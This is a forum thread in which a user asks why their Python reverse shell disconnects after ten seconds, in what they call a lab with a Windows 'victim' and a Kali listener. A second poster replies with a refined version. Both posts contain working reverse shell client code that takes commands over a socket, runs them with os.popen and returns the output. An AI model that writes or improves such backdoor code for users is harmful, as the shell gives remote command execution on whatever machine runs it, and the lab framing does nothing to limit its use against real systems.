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Thread: [Help with Python reverse shell connection drops after 10 secon](#)

g_walterpeter - May 25, 2026, 6:16 pm

Hey everyone,

I'm working on a small Python reverse shell for educational purposes (my own lab environment). Everything works fine, but the connection drops after exactly 10 seconds every time. No errors on either side.

Here's a simplified version of my client code:

```
python
import socket
```

```
s = socket.socket()
s.connect(("127.0.0.1", 4444))
while True:
    cmd = s.recv(1024).decode()
    if cmd.lower() == "exit":
        break
    output = os.popen(cmd).read()
    s.send(output.encode())
s.close()
```

I'm testing on Windows 10 (victim) and Kali (listener). No AV running. Tried adding `time.sleep(1)` and checking for closed sockets but still the same issue.

Anyone seen this before? Could it be a firewall on the Windows side or something with `recv()` timing out?

Thanks in advance.

Crum - May 30, 2026, 4:14 am

Hmm could be some firewall problems, other wise try this?

```
Code
import socket
import os
```

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 4444))
```

```
while True:
    cmd = s.recv(1024)
    if not cmd:
        break
    cmd = cmd.decode().strip()
    if cmd.lower() == "exit":
        break
    output = os.popen(cmd).read()
```

```
s.sendall(output.encode())
```

```
s.close()
```